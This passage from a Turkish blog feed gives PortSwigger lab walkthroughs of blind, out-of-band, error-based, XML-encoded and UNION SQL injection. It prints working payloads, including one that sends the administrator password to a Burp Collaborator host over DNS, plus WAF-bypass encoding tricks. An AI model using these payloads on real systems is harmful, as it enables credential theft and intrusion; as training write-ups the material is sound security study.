eşleşme olduğunda sunucu 10 saniye gecikme verdiği için, toplamda 20 karakterlik parola için 20 kez 10 saniyelik gecikme görüyorum. Sonuçlara baktığımda, ilk indexte oluşan gecikme yine doğru karakteri işaret ediyor ve parolanın ilk harfinin <strong>“o”</strong> olduğu bir kez daha doğrulanmış oluyor. Bu şekilde her pozisyondaki gecikmeleri takip ederek tüm parolayı çıkarabiliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*x1gJ0FtnRO56ZU0Rl33LLQ.png" /></figure><p>Parolayı çıkardığım karakterlerle birleştirdiğimde <strong>okepevfqepkh9l48im8e</strong> şeklinde tam parola ortaya çıkıyor. Bu parolayı kullanarak “administrator” hesabıyla sisteme giriş yaptığımda başarılı şekilde erişim sağlayabildiğimi görüyorum. Böylece blind SQL injection adımlarını tamamlayarak labı başarıyla bitirmiş oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*IM77UpI7R7lp9606LQTVCw.png" /></figure><p><strong>Lab: Blind SQL injection with out-of-band interaction</strong></p><p>Bu laboratuvar, kör bir SQL enjeksiyonu güvenlik açığı içermektedir. Uygulama, analiz için bir izleme çerezi kullanır ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştirir.</p><p>SQL sorgusu eşzamansız olarak yürütülür ve uygulamanın yanıtı üzerinde hiçbir etkisi yoktur. Ancak, harici bir etki alanıyla bant dışı etkileşimleri tetikleyebilirsiniz.</p><p>Laboratuvarı çözmek için, SQL enjeksiyonu güvenlik açığından yararlanarak Burp Collaborator’da bir DNS araması gerçekleştirin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*gzsrsxDSipuPiLqlyvT20g.jpeg" /></figure><p>NOT: Bu labı çözmek için Burp Suite Professional kullanmak gerekmektedir.<br>Burp Suite’i aktif hale getirip labı başlattıktan sonra, zafiyetin cookie değerinde bulunduğunu belirtiyor. Bu nedenle TrackingID değerini içeren paketi bularak test etmek için isteği Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*1RPqyUeFfv1vgKBp_M_wRA.jpeg" /></figure><p>Lab bana zafiyetin DNS lookup üzerinden çalıştığını söylediği için OAST ortamı sağlayan <strong>Burp Collaborator’u açıyorum</strong>. Collaborator, sunucunun dış dünyaya yaptığı tüm istekleri (DNS, HTTP, SMTP gibi) gerçek zamanlı olarak yakalamak için kullanılan bir dış etkileşim dinleme servisidir. Bu nedenle test sırasında sunucunun dışarıya herhangi bir DNS isteği gönderip göndermediğini anlamak için Collaborator’un ürettiği benzersiz (unique) alt alan adını kullanıyoruz. Ardından Collaborator’un oluşturduğu bu özel linki <strong>Copy to Clipboard</strong> ile kopyalıyorum; çünkü payload içine bu alan adını ekleyerek, hedef uygulama gerçekten dışarı bir DNS isteği yaparsa Collaborator panelinde bunu görebiliyor ve böylece zafiyetin tetiklenip tetiklenmediğini görebiliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*4RA1bd17RPos80H-oJezyw.jpeg" /></figure><p>Burp Suite’e ait SQL Injection cheat-sheet’e girerek DNS lookup üzerinden veri sızdırma<strong> (Out-of-Band / OOB)</strong> sorgularını inceliyorum. Cheat-sheet içinde farklı veritabanı motorlarına göre hazırlanmış pek çok özel payload bulunuyor. Bu payload’lar, veritabanının doğrudan DNS sorgusu yapmasını tetikleyerek Collaborator üzerinden dış etkileşim (exfiltration) yakalamayı amaçlıyor. Tüm veritabanları için ayrı sorgular olduğundan, zafiyetin hangi sistemde çalıştığını anlamak için bunları sırayla test etmek gerekiyor. Bu nedenle ilk olarak Oracle’a ait DNS lookup payload’ını seçip kopyalıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*rdpT8uunbyz0hIJJWULQ-Q.jpeg" /></figure><p>Kopyaladığım DNS lookup payload’ında bulunan <a href="http://.../">http://...</a> kısmının yerine, Burp Collaborator üzerinden elde ettiğim benzersiz URL’yi yapıştırıyorum. Bu URL, hedef uygulamanın dış dünyaya bir DNS isteği gönderip göndermediğini tespit etmek için kullanılıyor. Ardından sorgunun hedef uygulamanın mevcut SQL ifadesi içine enjekte edilebilmesi için başına <strong>tek tırnak (‘)</strong> ekliyorum ve string birleştirme işlemi yapabilmek amacıyla<strong> || operatörünü</strong> kullanıyorum. Sorgunun geri kalanını etkisiz hâle getirmek için ise sonuna <strong>— </strong>yorum işareti koyuyorum. Bu şekilde oluşturduğum manipüle edilmiş TrackingID değerini uygulamaya gönderiyorum; ancak bu isteği çalıştırdığımda sunucu tarafından <strong>500 Internal Server Error</strong> hatası alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*NJv13_Gb06TytZckXc-dfg.jpeg" /></figure><p>Hazırladığım manipüle edilmiş TrackingID değerini doğrudan gönderdiğimde sunucu 500 hatası üretince, isteğin uygulama katmanında filtrelere takıldığını fark ediyorum. Bunun üzerine SQL ifadesinin uygulama tarafından engellenmesini önlemek ve güvenlik katmanlarının girdiyi bozmasını engellemek için sorguyu <strong>CTRL+U ile URL-encode</strong> ederek yeniden gönderiyorum. Encode edilmiş hali gönderdiğimde, uygulama encode çözümlemesini yaptıktan sonra sorgu orijinal biçimine dönüyor ve bu kez sunucu isteği işleyebildiği için SQL ifadesi başarılı şekilde çalışmış oluyor. Bu durum, uygulamada input validation veya WAF katmanı bulunmasına rağmen encode edilmiş payload’ların hâlâ işlenebildiğini ve böylece güvenlik zafiyetinin doğrulandığını gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*8gDv_6V-pYrDY8IvgiyO8Q.jpeg" /></figure><p>Tüm bu adımları gerçekleştirdikten ve URL-encode edilmiş payload’ı gönderdikten sonra sunucu dış dünya ile DNS üzerinden etkileşime geçtiğini Collaborator panelinde doğrulamış oldum. Böylece uygulamadaki DNS tabanlı SQL Injection zafiyetini başarıyla ortaya koyarak labı eksiksiz bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*qGMOUK1coXdSX0TnnNGnhw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ewCCZX03GbUSJ5SyjSZPag.jpeg" /></figure><p><strong>Lab: Blind SQL injection with out-of-band data exfiltration</strong></p><p>Bu laboratuvar, kör SQL enjeksiyonu güvenlik açığı içermektedir. Uygulama, analiz için bir izleme çerezi kullanır ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştirir.</p><p>SQL sorgusu eşzamansız olarak yürütülür ve uygulamanın yanıtı üzerinde hiçbir etkisi yoktur. Ancak, harici bir etki alanıyla bant dışı etkileşimleri tetikleyebilirsiniz.</p><p>Veritabanı, kullanıcı adı(username) ve parola(password) sütunlarına sahip kullanıcılar(users) adlı farklı bir tablo içerir. Yönetici(administrator) kullanıcının parolasını bulmak için kör SQL enjeksiyonu güvenlik açığından yararlanmanız gerekir.</p><p>Laboratuvarı çözmek için yönetici kullanıcısı olarak oturum açın.</p><p><strong>Not: </strong>Akademi platformunun üçüncü taraflara saldırmak için kullanılmasını önlemek amacıyla, güvenlik duvarımız laboratuvarlar ve rastgele harici sistemler arasındaki etkileşimleri engeller. Laboratuvar sorununu çözmek için Burp Collaborator’ın varsayılan genel sunucusunu kullanmanız gerekir</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*D0FFHe6OVHvXcoxp3n5GLA.jpeg" /></figure><p>Not: Bu labı çözmek için Burpsuite Profesyonel sürümüne ihitacınız olacaktır</p><p>Burp Suite’i aktif hale getirerek lab ortamını başlatıyorum. Uygulama tarafında zafiyetin yine <strong>TrackingID parametresi</strong> üzerinde olduğunu öğrendiğim için ilk olarak uygulamanın <strong>/</strong> (root) dizinine gönderilen isteği analiz etmek üzere bu isteği Burp’ün <strong>Repeater</strong> modülüne aktarıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*ByDdpRGInC_FX7XyzNpQ8g.jpeg" /></figure><p>Lab, DNS üzerinden dış etkileşimle veri sızıntısını test etmemi istediği için Burp Suite’in SQL Injection <strong>cheat-sheet</strong> bölümünü açıyorum. Bu bölümde farklı veritabanı motorları için hazırlanmış çok sayıda OOB (Out-of-Band) DNS tetikleme sorgusu yer alıyor ve bunlar güvenlik testlerinde, uygulamanın dış dünyaya istek gönderip göndermediğini gözlemlemek için kullanılıyor. Bir önceki labdaki bulgularımdan hedef sistemin <strong>Oracle veritabanı</strong> üzerinde çalıştığını bildiğim için, bu testte işime yarayacak olan Oracle’a özel DNS lookup payload’ını seçerek kopyalıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*RO6VlrNPm2jXi0Qp4jTR_A.jpeg" /></figure><p>Sorguyu incelediğimde payload içinde yer alan “http://&#39;||(SELECT YOUR-QUERY-HERE)||’.BURP-COLLABORATOR-SUBDOMAIN/”&gt;” kısmının iki amacı olduğunu görüyorum. Bu bölümde hem veritabanında çalışmasını beklediğim sorgunun yer aldığı <strong>SQL ifadesini</strong>, hem de dış etkileşimi doğrulamak için Burp Collaborator’ın ürettiği <strong>benzersiz DNS alt alan adını</strong> eklemem gerekiyor. Oracle veritabanı bu ifadeyi işlediğinde, DNS çözümlemesi yaparak dış dünyaya bir istek gönderip göndermediğini anlamak mümkün oluyor. Bu nedenle ilk olarak Collaborator paneline geçip test sırasında kullanacağım özel DNS alt alan adını oluşturuyor ve buradan elde ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*wfmcBuXUykJ00CJNlZOQlA.jpeg" /></figure><p>DNS alan adını elde ettikten sonra, labın benden istediği gibi veritabanından belirli bir veriyi çıkarmak için SQL sorgusunu da hazırlamam gerekiyordu. Bu nedenle hedef kullanıcının parolasını döndüren SELECT password FROM USERS WHERE username=’administrator’ sorgusunu payload’ın içerisine yerleştirdim. Bu sorguyu Collaborator’dan aldığım benzersiz DNS alan adıyla birleştirdiğimde ifade “http://&#39;||(SELECT password FROM USERS WHERE username=’administrator’)||’.bixqqy56yeq6z7e6v664bo2cz35utlha.oastify.com/”&gt; hâline geliyor. Ardından bu ifadeyi uygulamanın mevcut TrackingID değerinin içine enjekte edebilmek için başına tek tırnak ve string birleştirme operatörü olan || ekliyor, ana sorgunun geri kalanını etkisiz bırakmak için ise sonuna yorum işareti- -koyuyorum. Ancak bu hâliyle gönderdiğimde uygulama tarafında 500 Internal Server Error hatası alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*wgzStcm9u3ocn_oGecV07w.jpeg" /></figure><p>Sorguyu doğrudan gönderdiğimde uygulama 500 hatası verdiği için payload’ın filtrelere takıldığını anladım. Bu nedenle aynı ifadeyi <strong>CTRL+U ile URL-encode</strong> ederek özel karakterlerin engellenmesini önledim. Encode edilmiş hâli gönderdiğimde sunucu isteği sorunsuz şekilde işledi ve <strong>200 OK</strong> döndürdü. Böylece sorgunun arka planda başarıyla çalıştığını ve SQL enjeksiyonunun gerçekleştiğini doğrulamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*n-7zsoL5bamCHbunrVNsig.jpeg" /></figure><p>İsteği gönderdikten sonra Burp Collaborator paneline geçip <strong>Poll now</strong> butonuna tıklıyorum. Bu sayede uygulamanın dış dünyaya yaptığı DNS isteklerini görebiliyorum. Panelde j6ly3n5i8e9eici50vvn.bixqqy56yeq6z7e6v664bo2cz35utlha.oastify.com şeklindeki isteğin kaydedildiğini görüyorum. Bu kayıt, test sırasında gönderdiğim payload’ın gerçekten çalıştığını ve uygulamanın iç sorgu sonucunu DNS üzerinden dışarı iletmeye çalıştığını gösteriyor. Böylece yapılan güvenlik testinin amacına ulaştığını ve labın başarıyla doğrulandığını anlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*SfLlp0OuhT7DQr2plwsJlg.jpeg" /></figure><p>Testi tamamladıktan sonra uygulamanın tarayıcı arayüzüne dönerek <strong>My Account</strong> bölümünü açıyorum. Güvenlik testinde ortaya çıkan parolanın gerçekten geçerli olup olmadığını doğrulamak için kullanıcı adı <em>administrator</em> ile bu bilgiyi giriş ekranında deniyorum. Erişim sağlandığında, güvenlik açığının uygulama üzerinde yetki doğrulamasını etkilediğini ve yapılan testin başarıyla sonuçlandığını görmüş oluyorum. Böylece lab ortamındaki senaryoyu bütün adımlarıyla doğrulayarak çalışmayı tamamlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*pIMn9T2Om6Q-4I1onn-tgQ.jpeg" /></figure><p><strong>Lab: SQL injection with filter bypass via XML encoding</strong></p><p>Bu laboratuvar, stok kontrol özelliğinde bir SQL enjeksiyonu güvenlik açığı içeriyor. Sorgu sonuçları uygulamanın yanıtında döndürülür, böylece diğer tablolardan veri almak için bir UNION saldırısı kullanabilirsiniz.</p><p>Veritabanında, kayıtlı kullanıcıların kullanıcı adlarını ve parolalarını içeren bir kullanıcılar (users)tablosu bulunur. Laboratuvarı çözmek için, yönetici kullanıcısının kimlik bilgilerini almak üzere bir SQL enjeksiyonu saldırısı gerçekleştirin ve ardından hesabına giriş yapın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*Qzh-bUCgjKenWKLKVQSyWA.jpeg" /></figure><p>İPUCU : Bir web uygulaması güvenlik duvarı (WAF), SQL enjeksiyon saldırısının bariz işaretlerini içeren istekleri engeller. Bu filtreyi aşmak için kötü amaçlı sorgunuzu gizlemenin bir yolunu bulmanız gerekir. Bunu yapmak için Hackvertor eklentisini kullanmanızı öneririz.</p><p>Burp Suite’i aktif hale getirerek lab ortamını başlatıyorum. Lab açıklamasında zafiyetin, uygulamanın ürünlere ait <strong>stok kontrol</strong> fonksiyonunda bulunduğu belirtildiği için herhangi bir ürünü seçip <strong>Check Stock</strong> butonuna tıklıyorum. Bu işlem sırasında gönderilen HTTP isteğini yakalayarak daha detaylı inceleyebilmek için Burp Suite üzerinde <strong>Repeater</strong> modülüne aktarıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*nCH5GLpU5oq7d5GwvRgMQw.jpeg" /></figure><p>Stok kontrol isteğinin XML yapısını incelediğimde, <strong>StoreID</strong> alanında varsayılan olarak 1 değerinin kullanıldığını görüyorum. Bu parametrenin enjeksiyona açık olup olmadığını test etmek için değeri 1 UNION SELECT NULL şeklinde manipüle ederek isteği yeniden gönderiyorum. Ancak uygulama bu tür bir girişimi algılayarak güvenlik mekanizmasını devreye sokuyor ve sunucu tarafından <strong>“Attack detected”</strong> uyarısı döndürülüyor. Bu tepki, parametrenin filtrelendiğini ve doğrudan UNION temelli enjeksiyon denemelerinin engellendiğini gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*SUwy3c20tfhNIZobH97H9Q.jpeg" /></figure><p>Lab, ipucu olarak Hackvertor eklentisini kullanmamı önerdiği için Burp Suite Extensions mağazasına giderek bu eklentiyi yüklüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*SV1V5OEbtj7L_U1Vv2qpHQ.jpeg" /></figure><p>Hazırladığım sorgu uygulama tarafından doğrudan engellendiği için bu kez Hackvertor eklentisini kullanarak ifadeyi <strong>hex_entities</strong> formatında encode ediyorum. Bu tür encoding, özel karakterleri altı lisanslı (hex) biçime dönüştürerek uygulamanın filtrelerini aşmayı ve payload’ın ham hâlinin algılanmasını önlemeyi sağlar. Özellikle &lt;, &gt;, ‘, “ gibi karakterlerin filtrelendiği XML tabanlı isteklerde hex_entities formatı, veriyi görünüşte harmless hâle getirip sunucuya iletilmesini mümkün kılar. Böylece uygulama güvenlik kontrolüne takılmadan sorguyu arka planda işleyebilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*oSUeT5g7JM_nBjxwqARfvw.jpeg" /></figure><p>İsteği Hackvertor ile Hex Entities formatında encode edip tekrar gönderdiğimde, güvenlik filtresini atlayarak sorgunun çalıştığını ve sunucunun başarılı bir şekilde NULL değeri döndürdüğünü görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*JQMKkaOzTodSTIaPuRbQUQ.jpeg" /></figure><p>Kaç sütun olduğunu anlamak için sorguya bir adet daha NULL ekleyerek tekrar gönderiyorum. Sunucudan “0 units” cevabını alınca bu yapının yalnızca tek sütundan oluştuğunu anlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*18FdGeEEEnaO5PjFFsQ65A.jpeg" /></figure><p>Labın başında bana bir <strong>username</strong> sütunu olduğunu söylemişti. Bu nedenle sorguma username || ‘:’ || password FROM users ifadesini ekleyerek kullanıcı adlarıyla parolaları çekmeyi hedefledim. İsteği gönderdiğimde ise kullanıcı adlarıyla birlikte parolaların da başarıyla döndüğünü gördüm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*DP51Jwxp5O4058rKAr4dKw.jpeg" /></figure><p>Elde ettiğim <strong>administrator</strong> parolasıyla sisteme giriş yaparak başarılı bir şekilde oturum açıyorum ve böylece labı tamamlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*HZyf34lTlRUVJ-38_slHAA.jpeg" /></figure><p><strong>Lab: Visible error-based SQL injection</strong></p><p>Bu laboratuvar çalışması bir SQL enjeksiyonu güvenlik açığı içermektedir. Uygulama, analiz için bir izleme çerezi kullanır ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştirir. SQL sorgusunun sonuçları döndürülmez.</p><p>Veritabanında, kullanıcı adı(username) ve parola(password) sütunlarına sahip “kullanıcılar(users)” adlı farklı bir tablo bulunmaktadır. Laboratuvar çalışmasını çözmek için, yönetici kullanıcısının (administrator) parolasını sızdırmanın bir yolunu bulun ve ardından hesabına giriş yapın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*LLCrfxxh0Lq2vH4ucSPTDQ.jpeg" /></figure><p>Burp Suite’i aktif hale getirerek lab ortamını başlatıyorum. Zafiyetin <strong>izleme çerezi (tracking cookie)</strong> üzerinden kaynaklandığı belirtildiği için ilgili isteği yakalayıp, detaylı test ve analiz yapabilmek amacıyla <strong>Repeater</strong> sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*uqvKTfheKGq9ToYlJgWRwQ.jpeg" /></figure><p>500 hatası aldığımda uygulama, karşıma çıkan hata mesajında bunun bir <strong>SQL sözdizimi (syntax) hatası</strong> olduğunu açıkça belirtmektedir. Hata detayında SELECT * FROM tracking WHERE id = ‘NOzfxWHg7yJ36XKH’’ şeklinde bir sorgu yer almakta ve fazladan eklenen tek tırnak nedeniyle SQL ifadesinin bozulduğu görülmektedir. Bu hata mesajı, TrackingID değerinin doğrudan SQL sorgusu içinde kullanıldığını ve parametrenin enjeksiyona açık olabileceğini göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*Er17WHH5x4io-kb6oHKFQQ.jpeg" /></figure><p>SQL sorgusunun geri kalanını etkisiz hâle getirmek için yorum satırı oluşturmak amacıyla # veya- -ifadelerini kullandım.- -ile yapılan yorumlamada sorgunun kalan kısmının çalışmadığını gözlemledim ve bu denemede sunucudan <strong>200 OK</strong> yanıtı aldım. Bu sonuç, uygulamanın yorum işaretlerini doğru şekilde işlediğini ve sorgunun bu şekilde sorunsuz tamamlandığını göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*Wlw_P_2kHU4Fov1s1hktMg.jpeg" /></figure><p><strong>CAST()</strong> fonksiyonu, bir veriyi bir veri tipinden başka bir veri tipine dönüştürmek için kullanılır (örneğin string → integer). Bu testte CAST((SELECT 1) AS int) ifadesini, SQL sorgusunun gerçekten çalışıp çalışmadığını ve veri tiplerinin nasıl ele alındığını anlamak için kullandım. Ancak sorguyu NOzfxWHg7yJ36XKH’ AND CAST((SELECT 1) AS int) — şeklinde gönderdiğimde <strong>500 hatası</strong> aldım. Dönen hata mesajında <em>“argument of AND must be type boolean, not type integer”</em> ifadesi yer alıyor; bu da AND operatörünün iki tarafta <strong>boolean (true/false)</strong> bir ifade beklediğini, ancak benim integer bir değer döndürdüğümü gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*-DZ6SLjfnaaIuPU7L3_Bvw.jpeg" /></figure><p>NOzfxWHg7yJ36XKH’ AND 1=CAST((SELECT 1) AS int)- -sorgusunu kullandığımda <strong>200 OK</strong> yanıtı aldım. Bunun nedeni, AND operatörünün artık her iki tarafta da <strong>boolean</strong> bir ifade görmesidir. Önceki denemede CAST((SELECT 1) AS int) doğrudan kullanıldığı için integer–boolean uyumsuzluğu oluşuyordu. Ancak başına 1= eklenince ifade 1=1 şeklinde <strong>true</strong> değerine dönüştü ve veri tipi hatası ortadan kalktı. Bu sonuç, sorgunun mantıksal olarak doğru şekilde çalıştığını ve enjeksiyon noktasının aktif olduğunu göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*XkYWtBfd5QsmmUKaH6Wj2Q.jpeg" /></figure><p>NOzfxWHg7yJ36XKH’ AND 1=CAST((SELECT USERNAME FROM USERS) AS int) — ifadesini kullandığımda <strong>500 hatası</strong> aldım ve hata mesajında <em>“Unterminated string literal”</em> uyarısı yer aldı. Bu hatanın temel nedeni, sorgu içinde <strong>tırnak yapısının bozulması</strong> ve SQL ifadesinin düzgün şekilde kapanamamasıdır. Burada düzgün şekilde kapanmamasının sebebi burada bir sorgu sınırı bulunmaktadır. Bu sebeple de sorgu düzgün şekilde çalışmamaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*cOXiEK87DhRVlmbxiUzCmw.jpeg" /></figure><p>‘ AND 1=CAST((SELECT USERNAME FROM USERS) AS int) — ifadesini kullandığımda TrackingID’nin tamamını kaldırmış olsam da sorgu yine hata verdi. Fakat bunda SQL sorgu hatası değil farklı bir hata karşıma çıkmaktadır. Bu hatanın nedeni, alt sorgunun USERS tablosundan <strong>birden fazla satır (birden fazla kullanıcı adı)</strong> döndürmesidir. SQL tarafında = operatörü tek bir değer beklerken, alt sorgu birden fazla sonuç ürettiği için ifade mantıksal olarak karşılaştırılamaz hâle gelir. Bu nedenle veritabanı, <strong>tek değer yerine çoklu sonuç döndürüldüğünü</strong> belirten bir hata üretir ve sorgu bu haliyle çalışmaz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*BnxVpJxcSfbCnsVuvCBKAg.jpeg" /></figure><p>LIMIT 1 kullanarak alt sorgunun tek satır döndürmesini sağladım ve çoklu sonuç hatasını ortadan kaldırdım. Ancak bu kez CAST(… AS int) ifadesi başarısız oldu. Bunun nedeni, USERS tablosundan dönen değerin sayısal değil, metinsel bir ifade olmasıdır (ör. “administrator”). Veritabanı, bu string değeri integer’a çeviremeyeceği için <strong>“invalid input syntax for type integer”</strong> hatasını üretmiştir. Bu hata, sorgunun çalıştığını ancak dönen verinin tip uyumsuzluğu nedeniyle dönüştürülemediğini göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*L91bOhvyewISwZuUv_XthA.jpeg" /></figure><p>Sorguyu ‘ AND 1=CAST((SELECT PASSWORD FROM USERS LIMIT 1) AS int)- -şeklinde düzenleyerek administrator kullanıcısına ait parola bilgisini elde etmeyi başardım. Böylece SQL enjeksiyonunun başarılı olduğu doğrulanmış oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*FFuCjd0smeYdG8Igs1obXQ.jpeg" /></figure><p>Elde ettiğim parola ile sisteme başarıyla giriş yaptım ve böylece laboratuvarı başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*Wuw9PhYKWAL_oFtUAHrX4Q.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cda9a677328" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger SQL Injection Lab Çözümleri-2]]></title>
            <link>https://medium.com/@eneskurtlan/portswigger-sql-injection-lab-%C3%A7%C3%B6z%C3%BCmleri-2-e107fb85c711?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/e107fb85c711</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Mon, 08 Dec 2025 09:03:44 GMT</pubDate>
            <atom:updated>2025-12-08T09:03:44.554Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab: SQL injection UNION attack, determining the number of columns returned by the query</strong></p><p>Bu laboratuvar, ürün kategorisi filtresinde bir SQL enjeksiyonu güvenlik açığı içermektedir. Sorgu sonuçları uygulamanın yanıtında döndürülür, böylece diğer tablolardan veri almak için bir UNION saldırısı kullanabilirsiniz. Böyle bir saldırının ilk adımı, sorgu tarafından döndürülen sütun sayısını belirlemektir. Daha sonraki laboratuvarlarda bu tekniği kullanarak tam saldırıyı oluşturacaksınız.</p><p>Laboratuvarı çözmek için, boş değerler içeren ek bir satır döndüren bir SQL enjeksiyonu UNION saldırısı gerçekleştirerek sorgu tarafından döndürülen sütun sayısını belirleyin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*ecEybCJEd13XZJlSpE8_KQ.png" /></figure><p>Burp Suite’i aktif hale getirip bir kategori seçerek SQL açıklığı arayacağım. İlgili isteği Burp Suite ile yakalayıp Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*tP2OBsCQIt4tTPQONWotZw.png" /></figure><p>SQL açığını test etmek için giriş parametresine tek tırnak (‘) karakteri gönderiyorum. İstek sunucudan <strong>500 Internal Server Error</strong> döndürüyor; bu davranış uygulamada SQL enjeksiyonuna işaret ediyor. (Not: 500 hatası tek başına kesin kanıt olmayabilir ancak hatanın tetiklenmesi, sorgu ayrıştırmasında bir bozulma oluştuğunu gösterir ve SQL zafiyeti olasılığını güçlendirmektedir.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*IIBzv4tSv-5AKM3qNB4UuA.png" /></figure><p>Hata kaynağını ortadan kaldırmak amacıyla sorguyu yorum satırı ile sonlandırdım.- -ile gönderdiğimde istek 200 dönerken # ile gönderdiğimde hata devam etti.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*EnCVXCYyVvzZeV0nynXU-A.png" /></figure><p>Veritabanında tabloda kaç sütun olduğunu öğrenmek için ORDER BY yöntemini kullandım. ‘ORDER BY 1,2,3 — sorgusu çalıştırıldığında sunucu hata vermedi ve tabloda <strong>3 sütun</strong> bulunduğunu gözlemledim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*qhUfJgGg6NBj_qPJIi_kKg.png" /></figure><p>Laboratuvar, tabloda bulunan kolonlara NULL değerleri gönderilmesini talep etmektedir. Bu amaçla ‘ UNION SELECT NULL, NULL, NULL — sorgusunu kullanarak üç sütuna da NULL değerleri ekledim. Sorgu Burp Suite Repeater üzerinden gönderildiğinde sunucu başarılı bir şekilde <strong>200 OK</strong> yanıtı döndürdü ve işlem sorunsuz gerçekleşti.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*Hx9ZzcGBDZ_mUVXmlpvRfQ.png" /></figure><p>Böylece labı başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*2rQ3UvQMMfxfgaycrYDYuQ.png" /></figure><p><strong>Lab: SQL injection UNION attack, finding a column containing text</strong></p><p>Bu laboratuvar, ürün kategorisi filtresinde bir SQL enjeksiyonu güvenlik açığı içermektedir. Sorgu sonuçları uygulamanın yanıtında döndürülür, böylece diğer tablolardan veri almak için bir UNION saldırısı kullanabilirsiniz. Böyle bir saldırı oluşturmak için öncelikle sorgu tarafından döndürülen sütun sayısını belirlemeniz gerekir. Bunu, önceki bir laboratuvarda öğrendiğiniz bir tekniği kullanarak yapabilirsiniz. Bir sonraki adım, dize verileriyle uyumlu bir sütun belirlemektir.</p><p>Laboratuvar, sorgu sonuçlarında görünmesini sağlamanız gereken rastgele bir değer sağlayacaktır. Laboratuvarı çözmek için, sağlanan değeri içeren ek bir satır döndüren bir SQL enjeksiyonu UNION saldırısı gerçekleştirin. Bu teknik, hangi sütunların dize verileriyle uyumlu olduğunu belirlemenize yardımcı olur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*uWTjaCOCW7UVIXx7D4wlmg.png" /></figure><p>Burp Suite’i aktif hale getirerek laboratuvarı başlatıyorum. Uygulama, kategorilerde bir SQL açığı bulunduğunu belirtmektedir. Bu nedenle herhangi bir kategoriye tıklayarak isteği oluşturuyorum. İlgili HTTP isteğini Burp Suite üzerinden yakalayıp <strong>Repeater</strong> sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*WrVON9-dP4l7byPZ-fzD4Q.png" /></figure><p>SQL enjeksiyon açığını test etmek amacıyla parametreye tek tırnak (‘) gönderiyorum; sunucu <strong>500 Internal Server Error</strong> döndürüyor. Bu davranış, uygulamada bir SQL ayrıştırma hatası oluştuğunu ve potansiyel bir SQL enjeksiyonu zafiyeti bulunduğunu gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*9CEjfTepN2vRdqeHSCPYOw.png" /></figure><p>Kalan sorgunun yürütülmesini engellemek için isteği yorum 